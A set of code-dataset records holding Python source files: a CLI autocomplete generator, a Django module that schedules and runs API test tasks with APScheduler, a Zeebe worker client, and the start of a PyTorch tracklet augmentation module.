\"\"\"\n    \"\"\"\n    # Code Template Str ->\n        -> autoStrTemplate_1 + strSupplement_1\n        -> strSupplement_2 + autoStrTemplate_2 + strSupplement_1\n    # Value 字符串\n        *color = 35;\n        *bold = 0;\n        return \"...\";\n    \"\"\"\n    autoStrTemplate_1 = 'if (!strcasecmp(buf, \"{}\"))'\n    autoStrTemplate_2 = ' else if (!strcasecmp(buf, \"{}\")) '\n    strSupplement_1 = '{\\n'\n    strSupplement_2 = '}'\n    autoStrTemplate_3 = '    *color = {};\\n' \\\n                        '    *bold = {};\\n' \\\n                        '    return \"{}\";\\n'\n\n    commandKeys = list(command.keys())\n    commandValues = list(command.values())\n\n    autoStrList = [autoStrTemplate_1.format(commandKeys[0]) +\n                   strSupplement_1 +\n                   autoStrTemplate_3.format(\n                       font[0],\n                       font[1],\n                       commandValues[0]\n                   )]\n\n    for index in range(1, len(commandKeys)):\n        autoStrList.append(\n            strSupplement_2 +\n            autoStrTemplate_2.format(commandKeys[index]) +\n            strSupplement_1\n        )\n        autoStrList.append(\n            autoStrTemplate_3.format(\n                font[0],\n                font[1],\n                commandValues[index]\n            )\n        )\n    autoStrList.append('}\\n')\n\n    print('- [OK] The Hints Command information is Generated')\n\n    return autoStrList\n\n\nresKeyWord = keyword_auto(KeyWordList)\nresHint = hint_auto(Command, Font)\n# 生成目标文件\n# TODO 数据写入<*.inc>文件\n\nwith open(\"../Cli/AutoCom_KeyWord.inc\", \"w\") as AutoCom_KeyWord:\n    for i in resKeyWord:\n        AutoCom_KeyWord.write(i)\n\nwith open(\"../Cli/AutoCom_Hint.inc\", \"w\") as AutoCom_Hint:\n    for i in resHint:\n        AutoCom_Hint.write(i)\n\nprint('- [OK] The Autocomplete information Loads')\nprint('- [END] autoCompleteMode -')\n","repo_name":"TheMorbidArk/Tiderip","sub_path":"Config/CliConfig/cliScript.py","file_name":"cliScript.py","file_ext":"py","file_size_in_byte":5390,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"27277824627","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django_web.models import Project,Env,task,taskCase\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.db.models import Q\nfrom django_web.models import Env,Project,Case,AutoApiCase,autoApiHead,autoAPIParameter,task,taskCase,AutoTaskRunTime,globalVariable\nfrom django_web.models import taskResult,asserts\nfrom django.shortcuts import render\nimport json,re\nfrom django.utils import timezone\nfrom django.contrib.auth.decorators import login_required\nfrom django_web.api import Public,fuctionView\nimport logging,datetime,apscheduler\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom apscheduler.events import EVENT_JOB_EXECUTED,EVENT_JOB_ERROR,EVENT_SCHEDULER_PAUSED,EVENT_SCHEDULER_SHUTDOWN\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore\nfrom apscheduler.executors.pool import ThreadPoolExecutor, ProcessPoolExecutor\nfrom apscheduler.jobstores import base\nimport time\njobstores = {\n       'default': SQLAlchemyJobStore(url='mysql://root:cjtest@10.0.3.25/apitest')\n       # 'default': SQLAlchemyJobStore(url='mysql+mysqlconnector://root:yhh12345678@localhost/autoapi')\n   }\nexecutors = {\n       'default': ThreadPoolExecutor(20),\n       'processpool': ProcessPoolExecutor(5),\n    }\njob_defaults = {\n       'coalesce': True,\n       'max_instances': 10,\n   }\n# scheduler = BackgroundScheduler(jobstores=jobstores, executors=executors, job_defaults=job_defaults)\nscheduler= BackgroundScheduler()\ntry:\n    logging.basicConfig(\n        level=logging.DEBUG,  # 控制台打印的日志级别\n        filename='taskRun.log',\n        filemode='w',  ##模式，有w和a，w就是写模式，每次都会重新写日志，覆盖之前的日志\n        # a是追加模式，默认如果不写的话，就是追加模式\n        format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s'\n    )\n    scheduler.start()\nexcept (KeyboardInterrupt, SystemExit):\n    scheduler.shutdown()\n\n\ndef task_index(request):\n    return render(request, 'main/task.html')\n\ndef taskList(request):\n    page = request.GET.get('page', '1')\n    rows = request.GET.get('limit', '10')\n    i = (int(page) - 1) * int(rows)\n    j = (int(page) - 1) * int(rows) + int(rows)\n    key = request.GET.get('keyword')\n    status = request.GET.get('status')\n    user = request.GET.get('user')\n    q1 = Q()\n    q1.connector = 'AND'\n    if len(key) > 0:\n        q1.children.append(('name__contains', key))\n    if len(status) > 0:\n        q1.children.append(('status', status))\n    q1.children.append(('user', user))\n    p = task.objects.filter(q1).order_by('-CreateTime')\n    resultdict = {}\n    total = p.count()\n    p = p[i:j]\n    dict = []\n    for a in p:\n        dic = {}\n        dic['id'] = a.id\n        dic['env_id'] = a.env_id\n        r = Env.objects.get(id=a.env_id)\n        dic['envName'] = r.env_name\n        dic['name'] = a.name\n        dic['createTime'] = a.CreateTime.strftime(\"%Y-%m-%d %H:%M:%S\")\n        dic['startTime'] = a.startTime.strftime(\"%Y-%m-%d %H:%M:%S\")\n        dic['desc'] = a.desc\n        dic['user'] = user\n        dic['type'] = a.type\n        dic['status'] = a.status\n        dict.append(dic)\n    resultdict['code'] = 0\n    resultdict['msg'] = ''\n    resultdict['count'] = total\n    resultdict['data'] = dict\n    return JsonResponse(resultdict, safe=False)\n\ndef taskDelete(request):\n    if request.method == \"POST\":\n        u = json.loads(request.body)\n        id=u.get('id')\n        task.objects.filter(id=id).delete()\n        taskCase.objects.filter(task_id=id).delete()\n        resultdict = {\n            'code': 0,\n            'msg': 'success',\n            'data': {'id': id}\n        }\n        return JsonResponse(resultdict, safe=False)\n    else:\n        resultdict = {\n            'code': 1,\n            'msg': '删除失败',\n            'data': {}\n        }\n        return JsonResponse(resultdict, safe=False)\n\n\ndef caseTaskPost(request):\n    if request.method == \"POST\":\n        u = json.loads(request.body)\n        loginName = request.session.get('Username', '')\n        envid =u.get('envid')\n        env = Env.objects.get(id=envid)\n        if env.evn_port:\n            url = env.env_url+':'+env.evn_port\n        else:\n            url = env.env_url\n\n        cases=u.get('cases')\n        user=u.get('user')\n        name=u.get('name')\n        desc=u.get('desc')\n        ty=u.get('type')\n        startTime=u.get('startTime')\n        endTime=u.get('endTime')\n        min = u.get('min')\n        hour=u.get('hour')\n        day=u.get('day')\n        month=u.get('month')\n        week=u.get('week')\n        testTime = timezone.now()\n        if len(cases) == 2:\n            resultdict = {\n                'code': 2,\n                'msg': '请勾选用例！',\n                'data': {}\n            }\n            return JsonResponse(resultdict, safe=False)\n\n        if min=='':\n            min=None\n        if hour=='':\n            hour=None\n        if day=='':\n            day=None\n        if month=='':\n            month=None\n        if week=='':\n            week=None\n        if endTime=='':\n            endTime=None\n        if startTime=='':\n            startTime=None\n        if datetime.datetime.strptime(startTime, \"%Y-%m-%d %H:%M:%S\") > timezone.now():\n            status=0\n        elif datetime.datetime.strptime(startTime, \"%Y-%m-%d %H:%M:%S\") <= timezone.now():\n            status=1\n        else:\n            status=2\n\n        t = task.objects.create(name=name, desc=desc, type=ty, startTime=startTime, endTime=endTime, user=user,\n                                min=min, hour=hour, day=day, month=month, week=week, CreateTime=timezone.now(),\n                                env_id=envid, status=status)\n        t.save()\n        s = AutoTaskRunTime.objects.create(startTime=timezone.now(), task_id=t.id, testTime=testTime)\n        s.save()\n        tasks = []\n        d = re.sub(\"u'\", \"\\\"\", cases)\n        d = re.sub(\"'\", \"\\\"\", d)\n        ca = json.loads(d)\n\n        for c in ca:\n            tasks.append(taskCase(task_id=t.id, case_id=c.get('id')))\n        taskCase.objects.bulk_create(tasks)\n        # url = url.encode('unicode-escape').decode('string_escape')\n\n        def job():\n            for c in ca:\n                api = AutoApiCase.objects.filter(case_id=c.get('id'))\n                for i in api:\n                    he = autoApiHead.objects.filter(autoApi_id=i.id)\n                    pa = autoAPIParameter.objects.filter(autoApi_id=i.id)\n                    galobalValues = globalVariable.objects.filter(autoApi_id=i.id)\n                    ast = asserts.objects.filter(autoApi_id=i.id)\n                    headers = {}\n                    params = {}\n                    for p in he:\n                        if re.match(r'^\\$\\{(.+?)\\}$', p.value) != None:\n                            w = re.sub('[${}]', '', p.value)\n                            try:\n                                value = globalVariable.objects.get(name=w).value\n                            except Exception as result:\n                                print(\"未知错误 %s\" % result)\n                                data = {\n                                    'code': 1,\n                                    'msg': \"请检查请求头的全局变量参数！\"\n                                }\n                                return JsonResponse(data, safe=False)\n                        else:\n                            value = p.value\n                        name = p.name\n                        # value = p.value\n                        headers[name] = value\n                    for p in pa:\n                        if re.match(r'^\\$\\{(.+?)\\}$', p.value) != None:\n                            w = re.sub('[${}]', '', p.value)\n                            try:\n                                value = globalVariable.objects.get(name=w).value\n                            except Exception as result:\n                                print(\"未知错误 %s\" % result)\n                                taskResult.objects.create(case_id=c.get('id'), autoApi_id=i.id, task_id=t.id,\n                                                          httpStatus='502',\n                                                          result='ERROR', responseData='请检查设置的变量！', user=user,\n                                                          testTime=testTime, autoRunTime_id=s.id).save()\n\n                        else:\n                            value = p.value\n                        name = p.name\n                        params[name] = value\n                    if i.fuctionLib_id:\n                        fu = fuctionView.qianming(fu_id=int(i.fuctionLib_id), appKey=env.appKey, app_secret=env.app_secret,\n                                                  jdata=params)\n                        params = fu\n                    address = Public.global_variable(key=i.apiAddress)\n                    ur = url+ address\n                    try:\n                        r = Public.execute(url=ur, params=params, method=i.method, heads=headers)\n                        if len(galobalValues) > 0:\n                            for g in galobalValues:\n                                # va = Public.get_value_from_response(response=r.text, json_path=g.get('gv_path'))\n                                va = Public.get_value_from_response(response=r.text, json_path='data.accessToken')\n                                try:\n                                    o = globalVariable.objects.get(name=g.name, user=loginName)\n                                    globalVariable.objects.filter(name=o.name).update(path=g.path, value=va)\n                                except Exception as result:\n                                    print(\"未知错误 %s\" % result)\n                        dy=[]\n                        if len(ast) > 0:\n                            for a in ast:\n                                nm = a.path\n                                key = a.value\n                                real_value = Public.get_value_from_response(response=r.text,\n                                                                            json_path=nm)\n                                print(real_value)\n                                if key == str(real_value):\n                                    result = 'PASS'\n                                else:\n                                    result = 'FAIL'\n                                ast = asserts.objects.filter(autoApi_id=i.id, path=nm)\n                                if len(ast) > 2:\n                                    dy.append(\n                                        asserts(path=nm, autoApi_id=i.id, value=key, user=loginName,\n                                                real_value=real_value,\n                                                CreateTime=timezone.now()))\n                                else:\n                                    asserts.objects.filter(autoApi_id=i.id, path=nm).update(value=key, real_value=real_value)\n                            asserts.objects.bulk_create(dy)\n                        else:\n                            result = 'PASS'\n                            ast = \"无数据\"\n                        print(r.text)\n                        taskResult.objects.create(case_id=c.get('id'), autoApi_id=i.id, task_id=t.id,\n                                                  httpStatus=r.status_code, result=result, responseData=r.text, user=loginName,\n                                                  testTime=testTime, autoRunTime_id=s.id, RequestHeaders=r.request.headers,\n                                                  RequestBody=params, ResponseHeaders=r.headers, Assertion=ast).save()\n                    except:\n                        taskResult.objects.create(case_id=c.get('id'), autoApi_id=i.id, task_id=t.id, httpStatus='502',\n                                                  result='ERROR', responseData='接口请求异常，请检查', user=user,\n                                                  testTime=testTime, autoRunTime_id=s.id, RequestHeaders='无请求头信息',\n                                                  RequestBody=params, ResponseHeaders='无响应头信息', Assertion='无数据').save()\n\n        def my_listener(event):\n            if event.exception:\n                print('接口请求异常，请检查')\n            else:\n                print('运行中')\n                task.objects.filter(id=t.id).update(status=1)\n                if scheduler.get_job(job_id=str(t.id))==None:\n                    task.objects.filter(id=t.id).update(status=2)\n                    AutoTaskRunTime.objects.filter(id=s.id).update(endTime=timezone.now())\n\n\n        ty = int(ty)\n        if ty==1:\n            logging.info('定时')\n            print(apscheduler.jobstores.base.BaseJobStore().get_next_run_time())\n            print('定时')\n            scheduler.add_job(job, 'cron', id=str(t.id), day_of_week=week, hour=hour, minute=min, day=day, month=month)\n            scheduler.add_listener(my_listener,EVENT_JOB_EXECUTED | EVENT_JOB_ERROR)\n        elif ty==2:\n            print('循环')\n            if datetime.datetime.strptime(startTime, \"%Y-%m-%d %H:%M:%S\") > timezone.now():\n                task.objects.filter(id=t.id).update(status=0)\n            elif datetime.datetime.strptime(startTime, \"%Y-%m-%d %H:%M:%S\") < timezone.now():\n                task.objects.filter(id=t.id).update(status=2)\n            else:\n                task.objects.filter(id=t.id).update(status=2)\n            scheduler.add_job(job, 'cron', id=str(t.id), start_date=startTime, end_date=endTime)\n            scheduler.add_listener(my_listener, EVENT_JOB_EXECUTED | EVENT_JOB_ERROR)\n\n        else:\n            logging.info('单次')\n            if datetime.datetime.strptime(startTime, \"%Y-%m-%d %H:%M:%S\") > timezone.now():\n                task.objects.filter(id=t.id).update(status=0)\n            elif datetime.datetime.strptime(startTime, \"%Y-%m-%d %H:%M:%S\") < timezone.now():\n                task.objects.filter(id=t.id).update(status=2)\n            else:\n                task.objects.filter(id=t.id).update(status=2)\n            scheduler.add_job(job, 'date', id=str(t.id), run_date=startTime)\n            scheduler.add_listener(my_listener, EVENT_JOB_EXECUTED | EVENT_JOB_ERROR)\n        resultdict = {\n            'code': 0,\n            'msg': '运行成功',\n            'data': {\n                'testTime':testTime\n            }\n        }\n        return JsonResponse(resultdict, safe=False)\n    else:\n        resultdict = {\n            'code': 1,\n            'msg': 'fail',\n            'data': {}\n        }\n        return JsonResponse(resultdict, safe=False)\n\ndef taskRun(request):\n    u = json.loads(request.body)\n    tid = u.get('id')\n    user = task.objects.get(id=tid).user\n    cases = taskCase.objects.filter(task_id=tid)\n    tasks = task.objects.get(id=tid)\n    ty = tasks.type\n    ev= Env.objects.get(id=tasks.env_id)\n    taskStartTime = timezone.now()\n    testTime =timezone.now()\n    loginName = request.session.get('Username', '')\n    s = AutoTaskRunTime.objects.create(startTime=taskStartTime, task_id=tid, testTime=testTime)\n    s.save()\n    if ev.evn_port:\n        url = ev.env_url + ':' + ev.evn_port\n    else:\n        url = ev.env_url\n    if tasks.min == '':\n        tasks.min = None\n    if tasks.hour == '':\n        tasks.hour = None\n    if tasks.day == '':\n        tasks.day = None\n    if tasks.month == '':\n        tasks.month = None\n    if tasks.week == '':\n        tasks.week = None\n    if tasks.endTime == '':\n        tasks.endTime = None\n    if tasks.startTime == '':\n        startTime = None\n    def job():\n        for c in cases:\n            api = AutoApiCase.objects.filter(case_id=c.case_id)\n            for i in api:\n                he = autoApiHead.objects.filter(autoApi_id=i.id)\n                pa = autoAPIParameter.objects.filter(autoApi_id=i.id)\n                galobalValues = globalVariable.objects.filter(autoApi_id=i.id)\n                ast = asserts.objects.filter(autoApi_id=i.id)\n                headers = {}\n                params = {}\n                for p in he:\n                    if re.match(r'^\\$\\{(.+?)\\}$', p.value) != None:\n                        w = re.sub('[${}]', '', p.value)\n                        try:\n                            value = globalVariable.objects.get(name=w).value\n                        except Exception as result:\n                            print(\"未知错误 %s\" % result)\n                            data = {\n                                'code': 1,\n                                'msg': \"请检查请求头的全局变量参数！\"\n                            }\n                            return JsonResponse(data, safe=False)\n                    else:\n                        value = p.value\n                    name = p.name\n                    # value = p.value\n                    headers[name] = value\n                for p in pa:\n                    if re.match(r'^\\$\\{(.+?)\\}$', p.value) != None:\n                        w = re.sub('[${}]', '', p.value)\n                        try:\n                            value = globalVariable.objects.get(name=w).value\n                        except Exception as result:\n                            print(\"未知错误 %s\" % result)\n                            taskResult.objects.create(case_id=c.get('id'), autoApi_id=i.id, task_id=tid,\n                                                      httpStatus='502',\n                                                      result='ERROR', responseData='请检查设置的变量！', user=user,\n                                                      testTime=testTime, autoRunTime_id=s.id).save()\n                    else:\n                        value = p.value\n                    name = p.name\n                    params[name] = value\n                if i.fuctionLib_id:\n                    fu = fuctionView.qianming(fu_id=int(i.fuctionLib_id), appKey=ev.appKey, app_secret=ev.app_secret,\n                                              jdata=params)\n                    params = fu\n                address = Public.global_variable(key=i.apiAddress)\n                ur = url + address\n                try:\n                    r = Public.execute(url=ur, params=params, method=i.method, heads=headers)\n                    print(r.text)\n                    if len(galobalValues) > 0:\n                        for g in galobalValues:\n                            # va = Public.get_value_from_response(response=r.text, json_path=g.get('gv_path'))\n                            va = Public.get_value_from_response(response=r.text, json_path='data.accessToken')\n                            try:\n                                o = globalVariable.objects.get(name=g.name, user=loginName)\n                                globalVariable.objects.filter(name=o.name).update(path=g.path, value=va)\n                            except Exception as result:\n                                print(\"未知错误 %s\" % result)\n                    dy=[]\n                    if len(ast) > 0:\n                        for a in ast:\n                            nm = a.path\n                            key = a.value\n                            real_value = Public.get_value_from_response(response=r.text,\n                                                                        json_path=nm)\n                            if key == str(real_value):\n                                result = 'PASS'\n                            else:\n                                result = 'FAIL'\n                            ast = asserts.objects.filter(autoApi_id=i.id, path=nm)\n                            if len(ast) > 2:\n                                dy.append(\n                                    asserts(path=nm, autoApi_id=i.id, value=key, user=loginName,\n                                            real_value=real_value,\n                                            CreateTime=timezone.now()))\n                            else:\n                                asserts.objects.filter(autoApi_id=i.id, path=nm).update(value=key, real_value=real_value)\n                        asserts.objects.bulk_create(dy)\n                    else:\n                        result = 'PASS'\n                        ast = \"无数据\"\n                    print(r.text)\n                    taskResult.objects.create(case_id=c.case_id, autoApi_id=i.id, task_id=tid,\n                                              httpStatus=r.status_code, result=result, responseData=r.text, user=loginName,\n                                              testTime=testTime, autoRunTime_id=s.id, RequestHeaders=r.request.headers,\n                                              RequestBody=params, ResponseHeaders=r.headers, Assertion=ast).save()\n                except:\n                    taskResult.objects.create(case_id=c.case_id, autoApi_id=i.id, task_id=tid, httpStatus='502',\n                                              result='ERROR', responseData='接口请求异常，请检查', user=user,\n                                              testTime=testTime, autoRunTime_id=s.id, RequestHeaders=r.request.headers,\n                                              RequestBody=params, ResponseHeaders=r.headers, Assertion='无数据').save()\n\n    def my_listener(event):\n        if event.exception:\n            print('接口请求异常，请检查')\n        else:\n            print('运行中')\n            print(scheduler.get_jobs())\n            task.objects.filter(id=tid).update(status=1)\n            if scheduler.get_job(job_id=str(tid)) == None:\n                task.objects.filter(id=tid).update(status=2)\n                taskEndTime = timezone.now()\n                AutoTaskRunTime.objects.filter(id=s.id).update(endTime=taskEndTime)\n\n    ty = int(ty)\n    if ty == 1:\n        logging.info('定时')\n        if tasks.startTime > timezone.now():\n            task.objects.filter(id=tid).update(status=0)\n        elif tasks.startTime < timezone.now():\n            task.objects.filter(id=tid).update(status=2)\n        else:\n            task.objects.filter(id=tid).update(status=2)\n        scheduler.add_job(job, 'cron', id=str(tid), day_of_week=tasks.week, hour=tasks.hour, minute=tasks.min,\n                          day=tasks.day, month=tasks.month,max_instances=10)\n        scheduler.add_listener(my_listener, EVENT_JOB_EXECUTED | EVENT_JOB_ERROR)\n    elif ty == 2:\n        logging.info('循环')\n        if tasks.startTime > timezone.now():\n            task.objects.filter(id=tid).update(status=0)\n        elif tasks.startTime < timezone.now() and tasks.endTime > timezone.now():\n            task.objects.filter(id=tid).update(status=1)\n        else:\n            task.objects.filter(id=tid).update(status=2)\n        if tasks.endTime > timezone.now():\n            scheduler.add_job(job, 'cron', id=str(tid), start_date=tasks.startTime, end_date=tasks.endTime, max_instances=10)\n            scheduler.add_listener(my_listener, EVENT_JOB_EXECUTED | EVENT_JOB_ERROR)\n        else:\n            AutoTaskRunTime.objects.filter(id=s.id).update(endTime=timezone.now())\n            resultdict = {\n                'code': 1,\n                'msg': '无法运行，请检查设置运行时间！',\n                'data': {'tid': tid}\n            }\n            return JsonResponse(resultdict, safe=False)\n    else:\n        logging.info('单次')\n        if tasks.startTime > timezone.now():\n            task.objects.filter(id=tid).update(status=0)\n        elif tasks.startTime < timezone.now():\n            task.objects.filter(id=tid).update(status=2)\n        else:\n            task.objects.filter(id=tid).update(status=2)\n        scheduler.add_job(job, 'date', id=str(tid), run_date=tasks.startTime)\n        scheduler.add_listener(my_listener, EVENT_JOB_EXECUTED | EVENT_JOB_ERROR)\n\n    resultdict = {\n        'code': 0,\n        'msg': '运行成功',\n        'data': {'tid': tid}\n    }\n    return JsonResponse(resultdict, safe=False)\n\n\ndef removeTask(request):\n    u = json.loads(request.body)\n    tid = u.get('id')\n    if scheduler.get_job(str(tid)):\n        scheduler.remove_job(str(tid))\n        taskEndTime =timezone.now()\n        task.objects.filter(id=tid).update(status=2)\n        a = AutoTaskRunTime.objects.filter(task_id=tid).order_by('testTime').last()\n        AutoTaskRunTime.objects.filter(testTime=a.testTime).update(endTime=taskEndTime)\n        resultdict = {\n            'code': 0,\n            'msg': 'success',\n            'data': {'id': tid}\n        }\n    else:\n        task.objects.filter(id=tid).update(status=2)\n        resultdict = {\n            'code': 1,\n            'msg': '无法终止，请检查任务状态',\n            'data': {'id': tid}\n        }\n    return JsonResponse(resultdict, safe=False)\n\ndef taskPause(request):\n    u = json.loads(request.body)\n    tid = u.get('id')\n    if scheduler.get_job(str(tid)):\n        scheduler.pause_job(str(tid))\n        task.objects.filter(id=tid).update(status=3)\n        resultdict = {\n            'code': 0,\n            'msg': 'success',\n            'data': {'id': tid}\n        }\n    else:\n        task.objects.filter(id=tid).update(status=2)\n        resultdict = {\n            'code': 1,\n            'msg': '无法暂停，请检查任务状态',\n            'data': {'id': tid}\n        }\n    return JsonResponse(resultdict, safe=False)\n\ndef taskResume(request):\n    u = json.loads(request.body)\n    tid = u.get('id')\n    if scheduler.get_job(str(tid)):\n        scheduler.resume_job(str(tid))\n        task.objects.filter(id=tid).update(status=1)\n        resultdict = {\n            'code': 0,\n            'msg': 'success',\n            'data': {'id': tid}\n        }\n    else:\n        task.objects.filter(id=tid).update(status=2)\n        resultdict = {\n            'code': 1,\n            'msg': '无法继续执行，请检查任务状态',\n            'data': {'id': tid}\n        }\n    return JsonResponse(resultdict, safe=False)\n\ndef taskEdit(request,tid):\n    tasks = task.objects.get(id=tid)\n    name = tasks.name\n    user = tasks.user\n    desc = tasks.desc\n    projectId = tasks.project_id\n    r = Project.objects.get(id=projectId)\n    data = {\n        'caseId': tid,\n        'name': name,\n        'desc': desc,\n        'projectId': projectId,\n        'user': user,\n        'projectName': r.name\n    }\n    return render(request, 'main/case-edit.html', data)\n\ndef tResult(request,autoRuntimeid):\n    taskId = AutoTaskRunTime.objects.get(id=autoRuntimeid).task_id\n    tk = task.objects.get(id=taskId)\n    totalCount = taskResult.objects.filter(task_id=taskId, autoRunTime_id=autoRuntimeid).count()\n    PassTotalCount = taskResult.objects.filter(task_id=taskId, autoRunTime_id=autoRuntimeid, result='PASS').count()\n    FallTotalCount = taskResult.objects.filter(task_id=taskId, autoRunTime_id=autoRuntimeid, result='FAIL').count()\n    errorTotalCount = taskResult.objects.filter(task_id=taskId, autoRunTime_id=autoRuntimeid, result='ERROR').count()\n    sTime = AutoTaskRunTime.objects.get(id=autoRuntimeid).startTime\n    eTime = AutoTaskRunTime.objects.get(id=autoRuntimeid).endTime\n    print(eTime)\n    caseCount =taskCase.objects.filter(task_id=taskId).count()\n    if eTime==None:\n        ys=0\n        eTime='未结束'\n    else:\n        ys = eTime-sTime\n        eTime=eTime.strftime(\"%Y-%m-%d %H:%M:%S\")\n    data = {\n        'taskId': taskId,\n        'totalCount': totalCount,\n        'PassTotalCount': PassTotalCount,\n        'FallTotalCount': FallTotalCount,\n        'errorTotalCount': errorTotalCount,\n        'sTime': sTime.strftime(\"%Y-%m-%d %H:%M:%S\"),\n        'eTime': eTime,\n        'caseCount': caseCount,\n        'TName': tk.name,\n        'autoRuntimeid': autoRuntimeid,\n        'ys': ys,\n    }\n    return render(request, 'main/tResult.html', data)\n\ndef taskDetail(request,tid):\n    data={\n        'taskId': tid\n    }\n    # print tid\n    return render(request, 'main/task-log.html', data)\n\ndef taskLogList(request,tid):\n    p = AutoTaskRunTime.objects.filter(task_id=tid).order_by('-testTime')\n    t = task.objects.get(id=tid)\n    print(t.endTime)\n    resultdict = {}\n    total = p.count()\n    dict = []\n\n    for a in p:\n        dic = {}\n        if t.endTime:\n            dic['endTime'] = a.endTime.strftime(\"%Y-%m-%d %H:%M:%S\")\n        else:\n            dic['endTime']=''\n        dic['startTime'] = a.startTime.strftime(\"%Y-%m-%d %H:%M:%S\")\n        dic['id'] = a.id\n        dic['testTime'] = a.testTime\n        dic['taskId'] = tid\n        dic['status'] = t.status\n        dict.append(dic)\n    resultdict['code'] = 0\n    resultdict['msg'] = ''\n    resultdict['count'] = total\n    resultdict['data'] = dict\n    return JsonResponse(resultdict, safe=False)\n\n","repo_name":"sherry727/apiTest","sub_path":"django_web/api/taskView.py","file_name":"taskView.py","file_ext":"py","file_size_in_byte":28723,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"15971921530","text":"\"\"\"\nModule for handling CAMUNDA tasks.\n\"\"\"\nimport asyncio\nimport logging\nimport os\nfrom pyzeebe import ZeebeWorker, ZeebeClient, create_insecure_channel\n\nfrom ticket_broker._version import NAME\n\nENDPOINT_HOST_KEY = \"ENDPOINT_HOST\"\nENDPOINT_PORT_KEY = \"ENDPOINT_PORT\"\n\nlogger = logging.getLogger(__name__)\n\nworker: ZeebeWorker = None\nclient: ZeebeClient = None\n\ndef create_client():\n    global worker, client\n    print(\"Creating worker/client instance\")\n    env_vars = os.environ.keys()\n    if ENDPOINT_HOST_KEY in env_vars and ENDPOINT_PORT_KEY in env_vars:\n        channel = create_insecure_channel(\n            hostname=os.environ[ENDPOINT_HOST_KEY],\n            port=int(os.environ[ENDPOINT_PORT_KEY]))\n    else:\n        logging.warning(\"No endpoint specified. Using defaults!\")\n        channel = create_insecure_channel()\n    worker = ZeebeWorker(channel)\n    client = ZeebeClient(channel)\n\ndef run_loop():\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(worker.work())\n","repo_name":"wmeijer221/pais_project","sub_path":"ticket_broker/ticket_broker/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"30983302444","text":"import numpy as np\r\nimport json\r\n\r\nimport torch.utils.data as data\r\nimport torch\r\nimport random\r\n\r\nclass TrackletSplit(object):\r\n    def __init__(self, p0=0.9, p1=0.95, p2=0.9):\r\n        self.p0 = p0\r\n        self.p1 = p1\r\n        self.p2 = p2\r\n\r\n    def __call__(self, sample):\r\n        uniq_ids = np.unique(sample['obj_ids'])\r\n        uniq_ids = uniq_ids[uniq_ids!=-1]\r\n\r\n        remove_idx = []\r\n        for n in range(len(uniq_ids)):\r\n            tmp_idx = np.where(sample['obj_ids']==uniq_ids[n])[0]\r\n            rand_tmp = random.random()\r\n            if rand_tmp<self.p0:\r\n                v = True\r\n            else:\r\n                v = False\r\n\r\n            for t in range(len(tmp_idx)):\r\n                rand_tmp = random.random()\r\n                if v:\r\n                    if rand_tmp>self.p1:\r\n                        remove_idx.append(tmp_idx[t])\r\n                        v = False\r\n                else:\r\n                    if rand_tmp<self.p2:\r\n                        remove_idx.append(tmp_idx[t])\r\n                    else:\r\n                        v = True\r\n\r\n        sample['boxes'] = np.delete(sample['boxes'], remove_idx, 0)\r\n        sample['gt_boxes'] = np.delete(sample['gt_boxes'], remove_idx, 0)\r\n        sample['classes'] = np.delete(sample['classes'], remove_idx, 0)\r\n        sample['obj_ids'] = np.delete(sample['obj_ids'], remove_idx, 0)\r\n        sample['fr_ids'] = np.delete(sample['fr_ids'], remove_idx, 0)\r\n        return sample\r\n\r\n\r\nclass AddFP(object):\r\n    def __init__(self, temporal_len, fpr=0.1):\r\n        self.fpr = fpr\r\n        self.temporal_len = temporal_len\r\n\r\n    def __call__(self, sample):\r\n        h = sample['height']\r\n        w = sample['width']\r\n        \r\n        for t in range(self.temporal_len):\r\n            box_w = (sample['boxes'][:, 2]-sample['boxes'][:, 0]).copy()\r\n            box_h = (sample['boxes'][:, 3]-sample['boxes'][:, 1]).copy()\r\n\r\n            cand_ids = np.where(sample['fr_ids']==t)[0]\r\n            if len(cand_ids)<2:\r\n                continue\r\n\r\n            fp_num = 0\r\n            for k in range(len(cand_ids)):\r\n                if np.random.rand()<self.fpr:\r\n                    fp_num += 1\r\n\r\n            if fp_num==0:\r\n                continue\r\n\r\n            mean_x = np.mean(sample['boxes'][cand_ids, 0])\r\n            mean_y = np.mean(sample['boxes'][cand_ids, 1])\r\n            mean_w = np.mean(box_w[cand_ids])\r\n            mean_h = np.mean(box_h[cand_ids])\r\n            std_x = np.std(sample['boxes'][cand_ids, 0])\r\n            std_y = np.std(sample['boxes'][cand_ids, 1])\r\n            std_w = np.std(box_w[cand_ids])\r\n            std_h = np.std(box_h[cand_ids])\r\n\r\n            xx = np.random.normal(mean_x, std_x, fp_num)\r\n            yy = np.random.normal(mean_y, std_y, fp_num)\r\n            ww = np.clip(np.random.normal(mean_w, std_w, fp_num), 0, w)\r\n            hh = np.clip(np.random.normal(mean_h, std_h, fp_num), 0, h)\r\n\r\n            fp_box = np.stack([xx, yy, xx+ww, yy+hh], 1).astype(np.int32)\r\n\r\n            # concatenate according to fr order\r\n            last_fr_idx = cand_ids[-1]+1\r\n            sample['boxes'] = np.concatenate([sample['boxes'][:last_fr_idx], fp_box, sample['boxes'][last_fr_idx:]], 0)\r\n            sample['classes'] = np.concatenate([sample['classes'][:last_fr_idx], np.zeros((fp_num), dtype=np.int32), sample['classes'][last_fr_idx:]], 0)\r\n            sample['obj_ids'] = np.concatenate([sample['obj_ids'][:last_fr_idx], -np.ones((fp_num), dtype=np.int32), sample['obj_ids'][last_fr_idx:]], 0)\r\n            sample['fr_ids'] = np.concatenate([sample['fr_ids'][:last_fr_idx], (t*np.ones((fp_num), dtype=np.int32)).astype(np.int32), sample['fr_ids'][last_fr_idx:]], 0)\r\n\r\n        return sample\r\n\r\n\r\nclass BoxJitter(object):\r\n    def __init__(self, jitter_ratio=0.2):\r\n        self.jitter_ratio = jitter_ratio\r\n\r\n 